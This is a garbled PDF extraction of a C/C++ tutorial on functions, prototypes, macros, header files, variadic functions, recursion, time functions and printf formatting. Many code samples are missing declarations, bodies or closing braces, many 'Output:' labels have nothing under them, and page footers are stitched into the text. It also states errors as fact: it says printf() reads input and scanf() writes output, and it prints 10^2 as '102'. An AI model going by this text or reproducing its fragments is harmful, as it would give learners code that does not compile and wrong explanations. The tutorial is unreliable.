2. For a function to obtain a value from the calling program, the value must be passed as an
argument (the actual value).
3. For a calling program to obtain a value from function, the value must be explicitly returned
from the function.
- Any statements can be included within a function, with one exception: a function may not contain the
definition of another function.
- For examples: if statements, loop, assignments etc are valid statements.
- The return value must match the return data type. For the above code segment, x must be an integer.
- A function can contain multiple return statements. The first return executed is the only one that has any
effect.
- An efficient way to return different values from a function may be the example below.
//Function prototype
int larger_of(int, int);
void main()
{
int x, y, z;
z=larger_of(x, y);
//Function definition
int larger_of(int a, int b)
{
//return a or b
www.tenouk.com Page 10 of 41
if(a > b)
return a;
else
return b;
}
Output:
- Must be included for each function that it uses, (required by Standards for C++ but not for C) if not
directly declare and define before main().
- In most cases it is recommended to include a function prototype in your C program to avoid ambiguity.
- Identical to the function header, with semicolon (;) added at the end.
- Function prototype includes information about the function’s return type, name and parameters’ type.
- The general form of the function prototype is shown below,
long cube(long);
- Provides the C/C++ compiler with the name and arguments of the functions contained in the program
and must appear before the function is used or defined. It is a model for a function that will appear
later, somewhere in the program.
- So, for the above prototype, the function is named cube, it requires a variable of the type long, and it
will return a value of type long.
- So, the compiler can check every time the source code calls the function, verify that the correct number
and type of arguments are being passed to the function and check that the return value is returned
correctly.
- If mismatch occurs, the compiler generates an error message enabling programmers to trap errors.
- A function prototype need not exactly match the function header.
- The optional parameter names can be different, as long as they are the same data type, number and in
the same order.
- But, having the name identical for prototype and the function header makes source code easier to
understand.
- Normally placed before the start of main() but must be before the function definition.
- Provides the compiler with the description of a function that will be defined at a later point in the
program.
- Includes a return type which indicates the type of variable that the function will return.
- And function name, which normally describes what the function does.
- Also contains the variable types of the arguments that will be passed to the function.
www.tenouk.com Page 11 of 41
- Optionally, it can contain the names of the variables that will be returned by the function.
- A prototype should always end with a semicolon ( ; ).
- For example (can’t be executed):
- In order function to interact with another functions or codes, the function passes arguments.
- The called function receives the values passed to it and stores them in its parameters.
- List them in parentheses following the function name.
- Program example:
#include <iostream.h>
#include <stdlib.h>
//function prototype
void prt(int);
Output:
www.tenouk.com Page 12 of 41
- The number of arguments and the type of each argument must match the parameters in the function
header and prototype.
- If the function takes multiple arguments, the arguments listed in the function call are assigned to the
function parameters in order.
- The first argument to the first parameter, the second argument to the second parameter and so on as
illustrated below.
- Basically, there are three ways how we can pass something to function parameters:
- If the same sequence of steps or instructions is required in several different places in a program, you
will normally write a function for the steps and call the function whenever these steps are required. But
this involves time overhead.
- Also can place the actual sequence of steps wherever they are needed in the program, but this increase
the program size and memory required to store the program. Also need retyping process or copying a
block of program.
- Use function if the sequence of steps is long. If small, use macros or inline function, to eliminate the
need for retyping and time overhead.
4.7.1 Macros
- Need #define compiler directive. For example, to obtain just the area of a triangle, we could use the
directive:
- When we have defined the above macro, you can use it anywhere in the program as shown below:
www.tenouk.com Page 13 of 41
- Substitution:
- The drawback: nesting of macros may result in code that difficult to read.
- Is preferred alternative to the macro since it provides most of the features of the macro without its
disadvantages.
- Same as macro, the compiler will substitute the code for the inline function wherever the function is
called in the program.
- Inline function is a true function whereas a macro is not.
- Includes the keyword inline placed before the function.
- Program example:
int main()
{
float b, h, a;
b = 4;
h = 6;
a = triangle_area(b, h);
cout<<"Area = (0.5*base*height)"<<endl;
cout<<"where, base = 4, height = 6"<<endl;
//compiler will substitute
//the inline function code.
cout<<"\nArea = "<<a<<endl;
system("pause");
return 0;
}
Output:
- Header files contain numerous frequently used functions that programmers can use without having to
write codes for them.
- Programmers can also write their own declarations and functions and store them in header files which
they can include in any program that may require them (these are called user-defined header file that
contains user defined functions).
- To simplify and reduce program development time and cycle, C / C++ provides numerous predefined
functions. These functions are normally defined for most frequently used routines.
- These functions are stored in what are known as standard library such as ANSI C (ISO/IEC C), ANSI
C++ (ISO/IEC C++) and GNU glibc header files etc. or not so standard (implementation dependent)
www.tenouk.com Page 14 of 41
header files (with extension .h, .hh etc) and some just called this collection as C/C++ libraries. For
template based header files in C++ there are no more .h extension (refer to Module 23).
- In the wider scope, each header file stores functions, macros, structures (struct) and types that are
related to a particular application or task.
- This is one of the skills that you need to acquire, learning how to use these readily available functions
in the header files and in most C/C++ books, courses or training, this part is not so emphasized. So,
you have to learn it by yourself, check your compiler documentation where normally, they also contain
program examples.
- You have to know which functions you are going to use, how to write the syntax to call the functions
and which header files to be included in your program.
- Before any function contained in a header file can be used, you have to include the header file in your
program. You do this by including the:
#include <header_filename.h>
- This is called preprocessor directive, normally placed before the main() function of your program.
- You should be familiar with these preprocessor directives, encountered many times in the program
examples presented in this Tutorial such as:
#include <stdio.h>
#include <iostream.h>
int main()
{ return 0; }
- Every C/C++ compiler comes with many standard and non-standard header files. Header files, also
called include files; provide function prototype declarations for functions library, macros and types.
Data types and symbolic constants used with the library functions are also defined in them.
- Companies that sold compilers or third party vendors, normally provide the standard function libraries
such as ISO/IEC C, their own extension or other special header files, normally for specific applications
such as for graphics manipulation, engineering applications and databases. These non standard headers
are implementation dependent.
- For example, the following table is a partial list of an ANSI C, ANSI C++ and non-standard header
files.
- There may be new header files introduced from time to time by Standard and Non-standard bodies and
there may be obsoletes header files.
- Some may be implementation dependant so check your compiler documentation.
Note: The middle column indicates C++ header files, header files defined by ANSI C or non-standard header files
(-). Standard C++ header files (template based) don’t have the .h anymore. For more information please read
Module 23.
www.tenouk.com Page 15 of 41
Contains structures, macros, and functions for working with
dir.h - directories and path names. Example: chdir(),
getcurdir(), mkdir(), rmdir().
Defines structures, macros, and functions for dealing with
direct.h -
directories and path names.
Declares functions and structures for POSIX directory
dirent.h - operations. Example: closedir(), opendir(),
readdir().
Defines various constants and gives declarations needed for
dos.h - DOS and 8086-specific calls. Example: bdos(),
_chmod(), getdate(), gettime().
errno.h ANSI C Defines constant mnemonics for the error codes.
except.h C++ Declares the exception-handling classes and functions.
excpt.h - Declares C structured exception support.
Defines symbolic constants used in connection with the
fcntl.h -
library routine open. Example: _fmode(), _pipe().
file.h C++ Defines the file class.
Contains parameters for floating-point routines.
float.h ANSI C
Declares the C++ stream classes that support file input and
fstream.h C++
output.
generic.h C++ Contains macros for generic class declarations.
Contains structures and declarations for low-level
io.h - input/output routines. Example: access(), create(),
close(), lseek(), read(), remove().
Declares the C++ streams I/O manipulators and contains
iomanip.h C++
templates for creating parameterized manipulators.
iostream.h C++ Declares the basic C++ streams (I/O) routines.
Contains environmental parameters, information about
limits.h ANSI C
compile-time limitations, and ranges of integral quantities.
Declares functions that provide country- and language-
locale.h ANSI C specific information. Example: localeconv(),
setlocale().
malloc.h - Declares memory-management functions and variables.
Declares prototypes for the math functions and math error
math.h ANSI C handlers. Example: abs(), cos(), log(), pow(),
sin(), tan().
Declares the memory-manipulation functions. (Many of these
mem.h - are also defined in string.h.). Example: memccpy(),
movedata(), memset(), _fmemmove(), memchr().
memory.h Contains memory-manipulation functions.
new.h C++ Access to _new_handler, and set_new_handler.
Contains structures and declarations for the spawn... and
process.h - exec... functions. Example: abort(), exit(),
getpid(), wait().
Declares functions for searching and sorting. Example:
search.h -
bsearch(), lfind(), qsort().
Declares the functions longjmp and setjmp and defines a
setjmp.h ANSI C type jmp_buf that these functions use. Example:
longjmp(), setjmp().
Defines parameters used in functions that make use of file-
share.h -
sharing.
Defines constants and declarations for use by the signal and
signal.h ANSI C
raise functions. Example: raise(), signal().
Defines macros used for reading the argument list in
stdarg.h ANSI C functions declared to accept a variable number of arguments
(such as vprintf, vscanf, and so on).
stddef.h ANSI C Defines several common data types and macros.
Defines types and macros needed for the standard I/O
package defined in Kernighan and Ritchie and extended
under UNIX System V. Defines the standard I/O predefined
stdio.h ANSI C
streams stdin, stdout, stdprn, and stderr and
declares stream-level I/O routines. Example: printf(),
scanf(), fgets(), getchar(), fread().
stdiostr.h C++ Declares the C++ (version 2.0) stream classes for use with
www.tenouk.com Page 16 of 41
stdio FILE structures. You should use iostream.h for
new code.
Declares several commonly used routines such as conversion
stdlib.h ANSI C routines and search/sort routines. Example: system(),
time(), rand(), atof(), atol(), putenv().
Declares several string-manipulation and memory-
string.h ANSI C manipulation routines. Example: strcmp(), setmem(),
_fstrcpy(), strlen().
Declares the C++ stream classes for use with byte arrays in
strstrea.h C++
memory.
sys\locking.h - Contains definitions for mode parameter of locking function.
Defines symbolic constants used for opening and creating
sys\stat.h -
files.
Declares the function ftime and the structure timeb that
sys\timeb.h -
ftime returns.
sys\types.h - Declares the type time_t used with time functions.
thread.h C++ Defines the thread classes.
Defines a structure filled in by the time-conversion routines
asctime, localtime, and gmtime, and a type used by
time.h ANSI C
the routines ctime, difftime, gmtime, localtime,
and stime. It also provides prototypes for these routines.
typeinfo.h C++ Declares the run-time type information classes.
Declares the utime function and the utimbuf struct
utime.h -
that it returns.
Defines important constants, including machine
values.h -
dependencies; provided for UNIX System V compatibility.
Definitions for accessing parameters in functions that accept
varargs.h - a variable number of arguments. Provided for UNIX
compatibility; you should use stdarg.h for new code.
Table 4.1: List of the standard and non standard header files
- Many of the functions in the standard (ANSI, ISO/IEC, Single UNIX Specification, GNU glibc etc.)
header files were used throughout this tutorial. You have to learn how to use these readily available
functions in the specific header file and must know how to write the syntax to call these functions. Do
not reinvent the wheels :o).
- Complete information about the functions and the header file normally provided by the compiler
documentation. They also may have program examples that you can try.
- Don’t forget also there are also tons of the non standard predefined header files available from the
compiler vendors, for specific machine/platform or third party.
- For Borland, Microsoft and other implementations, the functions contained in the non standard header
files normally begin with underscore ( _ ) such as _chmod() but using the similar function name.
- If you wrongly use or the include path is incorrect, normally the compiler will generates error
mentioning the file cannot be found/opened or can’t recognize the function names used in your
program.
- In reality the include files just act as an interface for our programs. The definition of the include files
actually already loaded into the system memory area as a library files (mainly for the standard header
files) typically with the .lib extension.
- Another error normally done by programmers is using wrong types, number and order of the function
parameters.
- We can define program segments (including functions) and store them in files. Then, we can include
these files just like any standard header file in our programs.
- For example:
#include "myfile.h"
// enclosed with " ", instead of < >
// because it is located in the same folder/directory
// as the main() program instead of the standard path of
// of the include files set during the compiler installation.
www.tenouk.com Page 17 of 41
int main()
{ return 0; }
- Here, myfile.h is a user-defined header file, located in the same folder as the main() program.
- All the program segments contained in myfile.h are accessible to the function main().
- An example is given at the end of this Module how to create and use the user-defined function.
- This is the concept that is quite similar to the Object Oriented Programming using the classes that
contain methods which you will learn in Tutorial #3.
- ANSI C (ISO/IEC C) defines syntax for declaring a function to take a variable number or type of
arguments. Such functions are referred to as varargs functions or variadic functions.
- However, the language itself provides no mechanism for such functions to access their non-required
arguments; instead, you use the variable arguments macros defined in stdarg.h.
- The example of variadic function used in Standard ANSI C is printf() function. If you have
noticed, printf() can accept variable number or type of arguments.
- Many older C dialects provide a similar, but incompatible, mechanism for defining functions with
variable numbers of arguments, using varargs.h header file.
- Ordinary C functions take a fixed number of arguments. When you define a function, you specify the
data type for each argument.
- Every call to the function should supply the expected number of arguments in order, with types that can
be converted to the specified ones. Thus, if a function named let say testfunc() is declared like the
following:
- Then you must call it with two arguments, an integer number (int) and a string pointer (char *).
- But some functions perform operations that can meaningfully accept an unlimited number of
arguments.
- In some cases a function can handle any number of values by operating on all of them as a block. For
example, consider a function that allocates a one-dimensional array with malloc() to hold a specified
set of values.
- This operation makes sense for any number of values, as long as the length of the array corresponds to
that number. Without facilities for variable arguments, you would have to define a separate function
for each possible array size.
- The library function printf() is an example of another class of function where variable arguments
are useful. This function prints its arguments (which can vary in type as well as number) under the
control of a format template string.
- These are good reasons to define a variadic function which can handle as many arguments as the caller
chooses to pass.
4.8.4.2 Definition
1. Define the function as variadic, using an ellipsis ('...') in the argument list, and using special
macros to access the variable arguments.
2. Declare the function as variadic, using a prototype with an ellipsis ('...'), in all the files which
call it.
3. Call the function by writing the fixed arguments followed by the additional variable arguments.
- A prototype of a function that accepts a variable number of arguments must be declared with that
indication. You write the fixed arguments as usual, and then add an '...' to indicate the possibility of
additional arguments.
- The syntax of ANSI C requires at least one fixed argument before the '...'. For example:
www.tenouk.com Page 18 of 41
int varfunc(const char *a, int b, ...)
{ return 0; }
- Outlines a definition of a function varfunc which returns an int and takes two required arguments, a
const char * and an int. These are followed by any number of anonymous arguments.
- Ordinary fixed arguments have individual names, and you can use these names to access their values.
But optional arguments have no names that are nothing but '...'. How can you access them?
- The only way to access them is sequentially, in the order they were written, and you must use special
macros from stdarg.h in the following three step process:
1. You initialize an argument pointer variable of type va_list using va_start. The
argument pointer when initialized points to the first optional argument.
2. You access the optional arguments by successive calls to va_arg. The first call to
va_arg gives you the first optional argument; the next call gives you the second, and so
on. You can stop at any time if you wish to ignore any remaining optional arguments. It
is perfectly all right for a function to access fewer arguments than were supplied in the
call, but you will get garbage values if you try to access too many arguments.
3. You indicate that you are finished with the argument pointer variable by calling
va_end.
- Steps 1 and 3 must be performed in the function that accepts the optional arguments. However, you can
pass the va_list variable as an argument to another function and perform all or part of step 2 there.
- You can perform the entire sequence of the three steps multiple times within a single function
invocation. If you want to ignore the optional arguments, you can do these steps zero times.
- You can have more than one argument pointer variable if you like. You can initialize each variable with
va_start when you wish, and then you can fetch arguments with each argument pointer as you wish.
- Each argument pointer variable will sequence through the same set of argument values, but at its own
pace.
- There is no general way for a function to determine the number and type of the optional arguments it
was called with. So whoever designs the function typically designs a convention for the caller to tell it
how many arguments it has, and what kind.
- It is up to you to define an appropriate calling convention for each variadic function, and write all calls
accordingly.
- One kind of calling convention is to pass the number of optional arguments as one of the fixed
arguments. This convention works provided all of the optional arguments are of the same type.
- A similar alternative is to have one of the required arguments be a bit mask, with a bit for each possible
purpose for which an optional argument might be supplied. You would test the bits in a predefined
sequence; if the bit is set, fetch the value of the next argument, and otherwise use a default value.
- A required argument can be used as a pattern to specify both the number and types of the optional
arguments. The format string argument to printf() is one example of this.
- You don't have to write anything special when you call a variadic function. Just write the arguments
(required arguments, followed by optional ones) inside parentheses, separated by commas, as usual.
- But you should prepare by declaring the function with a prototype, and you must know how the
argument values are converted.
- In principle, functions that are defined to be variadic must also be declared to be variadic using a
function prototype whenever you call them. This is because some C compilers use a different calling
convention to pass the same set of argument values to a function depending on whether that function
takes variable arguments or fixed arguments.
- Conversion of the required arguments is controlled by the function prototype in the usual way: the
argument expression is converted to the declared argument type as if it were being assigned to a
variable of that type.
www.tenouk.com Page 19 of 41
4.8.4.7 Argument Access Macros
- The following Table list the descriptions of the macros used to retrieve variable arguments. These
macros are defined in the stdarg.h header file.
- The following is an example of a function that accepts a variable number of arguments. The first
argument to the function is the count of remaining arguments, which are added up and the result
returned.
- This example just to illustrate how to use the variable arguments facility.
/*variadic function*/
#include <stdarg.h>
#include <stdio.h>
sum = 0;
for (i = 0; i < count; i++)
/*Get the next argument value.*/
sum += va_arg (ap, int);
/*Clean up.*/
va_end (ap);
return sum;
}
int main(void)
{
/*This call prints 6.*/
printf("%d\n", sum_up(2, 2, 4));
Output:
www.tenouk.com Page 20 of 41
Program Examples and Experiments
Example #1
//main program...
void main()
{
cout<<"I'm in main()..."<<endl;
system("pause");
return; //return nothing or just omit this 'return;' statement
}
void FunctOne()
{
//do nothing here just display the
//following text...
cout<<"\nNow I'm in FunctOne()!..."<<endl;
cout<<"Receives nothing, return nothing..."<<endl;
//return to main, without any returned value
//return; optionally can put this empty 'return;'
}
double FunctTwo()
{
//receive nothing but do some work here...
double p = 10.123;
cout<<"\nNow I'm in FunctTwo()!\nmay do some work here..."
<<"\nReceives nothing but return something"
<<"\nto the calling function..."<<endl;
//and return something...
return p;
}
int FunctThree(int z)
{
//receive something...do some work...
//and return the something...
www.tenouk.com Page 21 of 41
int a = z + 100;
cout<<"\nThen, in FunctThree()!..."<<endl;
cout<<"Receive something from calling function\ndo some work here and"
<<"\nreturn something to the calling function...\n"<<endl;
//then return to main, with return value
return a;
}
void FunctFour(int s)
{
//received something but return nothing...
int r = s - 20;
cout<<"\nNow, in FunctFour()..."<<endl;
cout<<"Received something, but return nothing..."<<endl;
cout<<"The value processed = "<<r<<endl;
//return; optionally can put this empty 'return;'
}
Output:
Example #2
int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;
www.tenouk.com Page 22 of 41
cout<< areaOfYard;
cout<< " square meter\n\n";
system("pause");
return 0;
}
Output:
long FindArea(long length, long width); // returns long, has two parameters
void PrintMessage(int messageNumber); // returns void, has one parameter
int GetChoice(); // returns int, has no parameters
char BadFunction(); // returns char, has no parameters
#include <iostream.h>
#include <stdlib.h>
//function prototype
float Convert(float);
int main()
{
float TempFer;
float TempCel;
TempCel = Convert(TempFer);
cout<<"\n";
cout<<TempFer<<" Fahrenheit = "<<TempCel<<" Celcius"<<endl;
system("pause");
return 0;
}
//function definition
float Convert(float TempFer)
www.tenouk.com Page 23 of 41
{
//local variable....
float TempCel;
Output:
#include <iostream.h>
#include <stdlib.h>
//function prototype
void myFunction();
int main()
{
cout<<"x = 5, y = 7, global scope\n";
cout<<"\nx within main: "<<x<<"\n";
cout<<"y within main: "<<y<<"\n\n";
cout<<"Then function call....\n";
myFunction();
void myFunction()
{
//local scope variable
int y = 10;
cout<<"\ny = 10, local scope\n"<<"\n";
cout<<"x within myFunction: "<<x<<"\n";
cout<<"y within myFunction: "<<y<<"\n\n";
}
Output:
www.tenouk.com Page 24 of 41
Example #7 Variable scope within a block
//demonstrates variables
//scope within a block
#include <iostream.h>
#include <stdlib.h>
//function prototype
void myFunc();
int main()
{
int x = 5;
cout<<"\nIn main x is: "<<x;
myFunc();
cout<<"\nBack in main, x is: "<<x<<endl;
system("pause");
return 0;
}
void myFunc()
{
//local scope variable
int x = 8;
Output:
www.tenouk.com Page 25 of 41
Example #8
//function prototype
void swap(int x, int y);
int main()
{
int x = 5, y = 10;
cout<<"In main. Before swap, x: "<<x<<" y: "<<y<<"\n";
cout<<"\nThen calling function swap(x, y)...\n";
swap(x, y);
cout<<"\n...back to main. After swap, x: "<<x<<" y: "<<y<<"\n";
system("pause");
return 0;
}
Output:
Example #9
#include <iostream.h>
#include <stdlib.h>
//function prototype
long int Doubler(long int AmountToDouble);
result = Doubler(input);
www.tenouk.com Page 26 of 41
}
Output:
Example #10
//function prototype
//width = 25 and height = 1, are default values
int AreaOfCube(int length, int width = 25, int height = 1);
int main()
{
//Assigning new values
int length = 100;
int width = 50;
int height = 2;
int area;
area = AreaOfCube(length);
//width = 25, height = 1, default values
cout<<"Third time function call, area = "<<area<<"\n";
system("pause");
return 0;
}
Output:
www.tenouk.com Page 27 of 41
Example #11
int main()
{
int target;
target = Doubler(target);
cout<<"First time function call, Target: "<<target<<endl;
target = Doubler(target);
cout<<"Second time function call, Target: "<<target<<endl;
target = Doubler(target);
cout<<"Third time function call, Target: "<<target<<endl;
system("pause");
return 0;
}
Output:
Example #12
int main()
{
int i;
www.tenouk.com Page 28 of 41
}
Output:
- This part will show you the process of defining function, storing in header files and using this function
and header file.
- Assume that we want to create simple functions that do the basic calculation: addition, subtraction,
division and multiplication of two operands.
- Firstly, we create the main() program, then we create header file named arithmet.h to store these
frequently used function.
- Note the steps of this simple program development. Firstly we create a simple program skeleton.
Compile and run. Make sure there is no error; warning is OK because this just as an exercise.
//function prototype
float AddNum(float, float);
//main program
void main(void)
{
cout<<"The function body..."<<endl;
cout<<"This just program skeleton..."<<endl;
system("pause");
}
//Function definition
float AddNum(float , float)
{
float x = 0;
return x;
}
Output:
#include <iostream.h>
#include <stdlib.h>
//function prototype
float AddNum(float, float);
void main(void)
{
//global (to this file) scope variables
float p, q, r;
www.tenouk.com Page 29 of 41
//Prompt for user input
cout<<"Enter two numbers separated by space: "<<endl;
cin>>p>>q;
//function call
r = AddNum(p, q);
//Function definition
float AddNum(float p, float q)
{
return (p + q);
}
#include <iostream.h>
#include <stdlib.h>
//function prototypes
float AddNum(float, float);
float SubtractNum(float, float);
float DivideNum(float, float);
float MultiplyNum(float, float);
void main(void)
{
//local (to this file) scope variables
float p, q, r, s, t, u;
//Prompt for user input
cout<<"Enter two numbers separated by space: "<<endl;
cin>>p>>q;
//Function call
r = AddNum(p, q);
s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);
//Function definition
float AddNum(float p, float q)
{
return (p + q);
}
www.tenouk.com Page 30 of 41
return (p - q);
}
- Our next task is to create header file, let named it arithmet.h and put all the function declaration
and definition in this file and save it in same folder as the main program.
- No need to compile or run this file, just make sure no error here.
#include <iostream.h>
#include <stdlib.h>
float x, y;
//Function prototypes
float AddNum(float, float);
float SubtractNum(float, float);
float DivideNum(float, float);
float MultiplyNum(float, float);
www.tenouk.com Page 31 of 41
}
#include <iostream.h>
#include <stdlib.h>
#include "arithmet.h" //notice this!
void main(void)
{
//local scope (to this file) variables…
int r, s, t, u;
r = AddNum(p, q);
s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);
- Compile and run this main program, you will get the same output but this main() program is simpler
and our header file arithmet.h can be reusable.
#include <iostream.h>
#include <stdlib.h>
#include "arithmet.h"
void main(void)
{
www.tenouk.com Page 32 of 41
//cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;
//cout<<"Subtraction: "<<p <<" - "<<q<<" = "<<s<<endl;
cout<<"Division: "<<p <<" / "<<q<<" = "<<t<<endl;
cout<<"Multiplication: "<<p <<" * "<<q<<" = "<<u<<endl;
system("pause");
}
Output:
#include <iostream.h>
#include <stdlib.h>
#include <arithmet.h>
//using <arithmet.h> instead of "arithmet.h"
void main(void)
{
//local scope (to this file) variable
int t, u;
Output:
- If we want to add functionalities, add them in header file once and then, it is reusable.
- How to debug the functions if you have to create many independent functions stored in many header
files other than directly include the functions in our main program?
- Firstly create the function with their own specific task independently as main() program, compile and
run the main() function independently.
www.tenouk.com Page 33 of 41
- Then, when you have satisfied with the result of the independent main() program, convert each
main() program to respective function and call all the functions from one main() program.
- The main problems encountered here normally related to the passing the improper arguments, returning
the improper value, mismatch types and variables scope.
- Remember that the main() program just a normal function but with execution point.
- We cannot define function within function, but we can call the same function within that function. A
recursive function is a function that calls itself either directly or indirectly through another function.
- Classic example for recursive function is factorial, used in mathematics.
- For example:
#include <iostream.h>
#include <stdlib.h>
int main()
{
int p;
cout<<"Calculating factorial using recursive function"<<endl;
cout<<"----------------------------------------------\n"<<endl;
system("pause");
return 0;
}
Output:
www.tenouk.com Page 34 of 41
//Demonstrates recursive Fibonacci function
//the formula, fibonacci(n) = fibonacci(n-1)+fibonacci(n-2)
#include <iostream.h>
#include <stdlib.h>
long fibonacci(long);
int main()
{
int p;
cout<<"Simple fibonacci using recursive function"<<endl;
cout<<"-----------------------------------------\n"<<endl;
Output:
int main()
{
int c;
www.tenouk.com Page 35 of 41
//using lower bound and upper bound
int num1 = 200 + random(700-200);
printf("\nRandom number between 200 700 = %d\n", num1);
Output:
int main(void)
{
struct tm *time_now;
time_t secs_now;
time_t t;
char str[80];
time(&t);
//dispaly current time and date...
//using ctime()
printf("Today's date and time: %s", ctime(&t));
www.tenouk.com Page 36 of 41
time_t first, second;
//Gets system time
first = time(NULL);
//Waits 5 secs
sleep(5);
//Gets system time again
second = time(NULL);
printf("The difference is: %f seconds\n", difftime(second, first));
Output:
int main(void)
{
time_t t;
struct tm *gmt, *area;
putenv(tzstr);
tzset();
t = time(NULL);
area = localtime(&t);
printf("The local time is: %s", asctime(area));
gmt = gmtime(&t);
printf("The GMT is: %s", asctime(gmt));
//wait 10 seconds...
sleep(10);
return 0;
}
Output:
www.tenouk.com Page 37 of 41
int main()
{
struct tm time_check;
int year, month, day;
Output:
#include <cstdio>
#include <ctime>
int main(void)
{
struct tm *time_now;
time_t secs_now;
time_t t;
char str[80];
time(&t);
//dispaly current time and date...
//using ctime()
printf("Today's date and time: %s\n", ctime(&t));
www.tenouk.com Page 38 of 41
getchar();
//Gets system time again
second = time(NULL);
printf("The difference is: %f seconds\n", difftime(second, first));
Output:
ModuleZ, Section Z.5 discusses the relationship between function call and memory allocation (stack
frame).
The following are program examples compiled using gcc.
/*main program...*/
int main()
{
printf("-----PLAYING WITH A FUNCTION-----\n");
printf("All call by value ONLY!!!\n");
printf("Starting: I'm in main()...\n");
void FunctOne()
{
/*do nothing here just display the*/
/*following text...*/
printf("\nNow I'm in FunctOne()!...\n");
www.tenouk.com Page 39 of 41
printf("Receives nothing, return nothing...\n");
/*return to main, without any returned value*/
}
double FunctTwo()
{
/*receive nothing but do some work here...*/
double p = 10.123;
printf("\nNow I'm in FunctTwo()!\nmay do some work here..."
"\nReceives nothing but returns something"
"\nto the calling function...\n");
/*and return something...*/
return p;
}
int FunctThree(int z)
{
/*receive something...do some work...*/
/*and return the something...*/
int a = z + 100;
printf("\nThen, in FunctThree()!...\n");
printf("Receives something from calling function\ndo some work here and"
"\nreturn something to the calling function...\n");
/*then return to main, with return value*/
return a;
}
void FunctFour(int s)
{
/*received something but return nothing...*/
int r = s - 20;
printf("\nNow, in FunctFour()...\n");
printf("Received something, but return nothing...\n");
printf("The value processed here = %d\n", r);
printf("Then within FunctFour, call FunctOne()...\n");
FunctOne();
printf("Back in FunctFour()....\n");
}
Back in main()...
Then, in FunctThree()!...
Receives something from calling function
do some work here and
return something to the calling function...
Back in main()...
Display the returned value from FunctThree = 200
Now, in FunctFour()...
Received something, but return nothing...
The value processed here = 30
Then within FunctFour, call FunctOne()...
www.tenouk.com Page 40 of 41
2. For this Module purpose, you can check the standard libraries of these various standards of C/C++.
Explore and compare the standard functions and their variation if any in the libraries. You can download
or read online the specification at the following links. (ISO/IEC is covering ANSI and is more general):
i. ISO/IEC 9899 (ISO/IEC 9899:1999) - C Programming languages.
ii. ISO/IEC 9945:2002 POSIX standard.
iii. ISO/IEC 14882:1998 on the programming language C++.
iv. ISO/IEC 9945:2003, The Single UNIX Specification, Version 3.
v. Get the GNU C library information here.
vi. Read online the GNU C library here.
www.tenouk.com Page 41 of 41
MODULE 5
C FORMATTED INPUT/OUTPUT
-----------------------------------------------------
MODULE 18
C++ FORMATTED I/O
Abilities
5.1 Introduction
- This Module deals with the formatting features of printf(), scanf(), cin and cout, the most
frequently use functions.
- Here, you will learn how to use the predefined functions provided by the header files (standard or non
standard).
- printf() function input data from the standard input stream.
- scanf(), output data to the standard output stream.
- For other functions that use the standard input and standard output are gets(), puts(),
getchar() and putchar(). Keep in mind that some of the functions discussed here are non-
standard.
- We have to include header file stdio.h (C) or iostream.h/iostream (C++) in program to call
these functions.
5.2 Streams
- For precise output formatting, every printf() call contains a format control string that describes the
output format.
- The format control string consists of:
1. Conversion specifiers.
2. Flags.
3. Field widths.
4. Precisions.
5. Literal characters.
- Together with percent sign (%), these, form conversion specifications. Function printf() can
perform the following formatting capabilities:
www.tenouk.com Page 1 of 20
- As discussed in Module 4, printf() is a variadic function. It can accept variable number of
arguments. The printf() general form is:
- For example:
- The format-control-string describes the output format, and other-arguments (optional) correspond to
each conversion specification in the format-control-string.
- Each conversion specification begins with a percent sign (%) and ends with a conversion specifier.
- Integer is a whole number, such as 880 or –456, that contains no decimal point.
- Table 5.1 is a summary of an integer conversion specifier.
Conversion
Description
specifier
d Display a signed decimal integer
Display a signed decimal integer. (Note: The i and d specifiers are different
i
when used with scanf().)
o Display an unsigned octal integer.
u Display an unsigned decimal integer.
Display an unsigned decimal integer. x causes the digit 0-9 and the letters A-F
x or X
to be displayed, and x causes the digits 0-9 and a–f to be displayed.
Place before any integer conversion specifier to indicate that a short or long
h or l (letter l)
integer is displayed respectively.
int main()
{
printf("Various format for integer printing\n");
printf("-------------------------------------\n");
printf("%d\n", 455);
printf("%i\n", 455); //i same as d in printf()
printf("%d\n", +455);
printf("%d\n", -455);
printf("%hd\n", 32000);
printf("%ld\n", 2000000000L);
printf("%o\n", 455);
printf("%u\n", 455);
printf("%u\n", -455);
//-455 is read by %u and converted to the unsigned
//value 4294966841 by 4 bytes integer
printf("%x\n", 455);
printf("%X\n", 455);
system("pause");
return 0;
}
Output:
www.tenouk.com Page 2 of 20
5.5 Printing Floating-point Number
- Exponential notation is the computer equivalent of scientific notation used in mathematics. For
example, 150.2352 is represented in scientific notation as:
1.502352 x 102
1.502352E+02 by computer
#include <stdio.h>
#include <stdlib.h>
void main()
{
printf("Printing floating-point numbers with\n");
printf("floating-point conversion specifiers.\n");
printf("Compare the output with source code\n\n");
printf("1. %e\n", 1234567.89);
printf("2. %e\n", +1234567.89);
printf("3. %e\n", -1234567.89);
printf("4. %E\n", 1234567.89);
printf("5. %f\n", 1234567.89);
printf("6. %g\n", 1234567.89);
printf("7. %G\n", 1234567.89);
system("pause");
}
Output:
www.tenouk.com Page 3 of 20
5.6 Printing Strings And Characters
- c and s conversion specifiers are used to print individual characters and strings respectively.
- Conversion specifier c requires a char argument and s requires a pointer to char as an argument.
- s causes characters to be printed until a terminating NULL (‘\0’) character is encountered.
- A program example.
int main()
{
char character = 'A';
char string[] = "This is a string";
char *stringPtr = "This is also a string";
printf("---------------------------------\n");
printf("---Character and String format---\n");
printf("---------------------------------\n\n");
printf("%c <--This one is character\n", character);
printf("\nLateral string\n");
printf("%s\n", "This is a string");
printf("\nUsing array name, the pointer to the first array's element\n");
printf("%s\n", string);
printf("\nUsing pointer, pointing to the first character of string\n");
printf("%s\n", stringPtr);
system("pause");
return 0;
}
Output:
www.tenouk.com Page 4 of 20
Conversion specifier Description
Display a pointer value (memory address) in an implementation
p
defined manner.
Store the number of characters already output in the current
n printf() statement. A pointer to an integer is supplied as the
corresponding argument. Nothing is displayed.
% Display the percent character.
int main()
{
int *ptr;
//pointer variable
int x = 12345, y;
ptr = &x;
Output:
- A field width determines the exact size of a field in which data is printed.
- If the field width is larger then the data being printed, the data will normally be right-justified within
that field.
- An integer representing the field width is inserted between the percent sign (%) and the conversion
specifier in the conversion specification.
- Function printf() also provides the ability to specify the precision with which data is printed.
- Precision has different meanings for different data types.
- A program example.
www.tenouk.com Page 5 of 20
#include <stdio.h>
#include <stdlib.h>
